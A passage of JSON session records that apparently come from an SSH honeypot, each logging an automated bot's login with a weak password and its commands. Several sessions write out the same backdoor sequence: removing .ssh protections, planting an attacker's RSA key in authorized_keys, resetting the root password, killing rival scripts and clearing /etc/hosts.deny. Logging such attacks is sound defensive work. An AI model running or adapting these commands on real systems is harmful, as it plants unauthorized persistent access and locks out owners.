GNU/Linux"},{"seq":27,"at":"2026-08-27T12:57:55.575271+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:57:56.357401+00:00","kind":"output","latency_ms":null,"data":"camera"},{"seq":29,"at":"2026-08-27T12:57:56.681098+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:57:58.003795+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:57:58.328562+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:57:59.307835+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"camera","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"e60ce5f5-6dbd-4313-b46a-5991c59310f8","name":"sandy-smooth-nightjar","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":42206,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":742,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:56:32.739534+00:00","ended_at":"2026-08-27T12:56:33.501179+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:56:11.746286+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:56:12.486418+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:56:19.848558+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:56:19.849294+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:56:20.589126+00:00","kind":"input","latency_ms":null,"data":"echo \"root:cVVopYfBJWjV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:56:21.333807+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:56:22.074995+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:56:22.075833+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:56:22.820267+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:56:23.400666+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:56:24.147800+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:56:24.706463+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:56:25.449283+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:56:25.449963+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:56:26.191553+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:56:26.192036+00:00","kind":"output","latency_ms":null,"data":" 12:56:26 up 7 days, 9:46, 0 user, load average: 0.1, 0.12, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:56:26.931254+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:56:26.932040+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:56:27.673431+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:56:27.674034+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:56:28.426354+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:56:28.428072+00:00","kind":"output","latency_ms":null,"data":"top - 12:56:28 up 7 days, 9:46, 0 user, load average: 0.1, 0.12, 0.09\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:56:29.166770+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:56:29.167315+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:56:29.908259+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:56:29.908758+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:56:30.653414+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:56:30.654177+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:56:31.402914+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:56:31.999547+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:56:32.740338+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:56:33.262472+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456780","method":"password","accepted":true,"tier":"other"}]} {"id":"c6813f20-da54-43e4-8628-5456f230fb6c","name":"meadow-thrifty-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":44592,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:56:13.484738+00:00","ended_at":"2026-08-27T12:56:14.446308+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:55:54.114162+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:55:54.409317+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:55:58.549231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:55:59.231110+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:55:59.525042+00:00","kind":"input","latency_ms":null,"data":"echo \"root:MkoffwArKiM9\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:55:59.817745+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:56:00.113034+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:56:00.868736+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:56:01.162634+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:56:02.798735+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:56:03.095568+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:56:04.339370+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:56:04.635591+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:56:04.936070+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:56:05.231602+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:56:05.853447+00:00","kind":"output","latency_ms":null,"data":" 12:56:05 up 7 days, 9:46, 0 user, load average: 0.05, 0.06, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:56:06.149619+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:56:06.801178+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:56:07.096402+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:56:07.654137+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:56:07.947709+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:56:08.636144+00:00","kind":"output","latency_ms":null,"data":"top - 12:56:08 up 7 days, 9:46, 0 user, load average: 0.05, 0.06, 0.05\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:56:08.930481+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:56:09.664907+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:56:09.960036+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:56:10.587008+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:56:10.881556+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:56:11.619160+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:56:11.913824+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:56:13.189846+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:56:13.485720+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:56:14.358429+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Sz123456@","method":"password","accepted":true,"tier":"other"}]} {"id":"dbd209f5-dc7b-4904-92d7-6615076b6410","name":"alpine-patient-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":53752,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:56:01.232088+00:00","ended_at":"2026-08-27T12:56:03.197873+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:55:42.302904+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:55:42.630131+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:55:46.150078+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:55:46.612410+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:55:46.937833+00:00","kind":"input","latency_ms":null,"data":"echo \"root:q9yuE7KU4FUe\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:55:47.267670+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:55:47.594721+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:55:48.074033+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:55:48.400990+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:55:49.588363+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:55:49.919283+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:55:51.229147+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:55:51.559093+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:55:51.900358+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:55:52.227625+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:55:53.059433+00:00","kind":"output","latency_ms":null,"data":" 12:55:53 up 7 days, 9:46, 0 user, load average: 0.03, 0.04, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:55:53.386489+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:55:54.107900+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:55:54.434871+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:55:55.211350+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:55:55.540952+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:55:56.091410+00:00","kind":"output","latency_ms":null,"data":"top - 12:55:56 up 7 days, 9:46, 0 user, load average: 0.03, 0.04, 0.03\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:55:56.419399+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:55:57.263412+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:55:57.592441+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:55:58.463034+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:55:58.789379+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:55:59.576703+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:55:59.911787+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:56:00.904323+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:56:01.232649+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:56:03.099130+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Passw0rd@2026","method":"password","accepted":true,"tier":"other"}]} {"id":"4a14eff5-6cc0-41d5-9fc0-4fa9df943ae4","name":"gallant-coral-goose","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59934,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":450,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:55:54.249532+00:00","ended_at":"2026-08-27T12:55:55.305917+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:55:32.767114+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:55:33.218105+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:55:37.759601+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:55:38.547187+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:55:38.995944+00:00","kind":"input","latency_ms":null,"data":"echo \"root:6cDpRNj8vxnL\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:55:39.443902+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:55:39.895156+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:55:40.797055+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:55:41.253461+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:55:42.182262+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:55:42.632535+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:55:43.994206+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:55:44.442077+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:55:45.222374+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:55:45.677971+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:55:46.362079+00:00","kind":"output","latency_ms":null,"data":" 12:55:46 up 7 days, 9:45, 0 user, load average: 0.1, 0.08, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:55:46.812017+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:55:47.423484+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:55:47.873862+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:55:48.276074+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:55:48.731800+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:55:49.121025+00:00","kind":"output","latency_ms":null,"data":"top - 12:55:49 up 7 days, 9:45, 0 user, load average: 0.1, 0.08, 0.07\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:55:49.571434+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:55:50.049124+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:55:50.499362+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:55:51.039487+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:55:51.490349+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:55:51.850057+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:55:52.299421+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:55:53.801192+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:55:54.250252+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:55:55.167855+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123456780","method":"password","accepted":true,"tier":"other"}]} {"id":"77fe352d-ca94-40a2-91d5-880dded9378e","name":"oaken-curious-sable","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":43992,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:54:14.420708+00:00","ended_at":"2026-08-27T12:54:15.991145+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:53:56.555827+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:53:56.854178+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 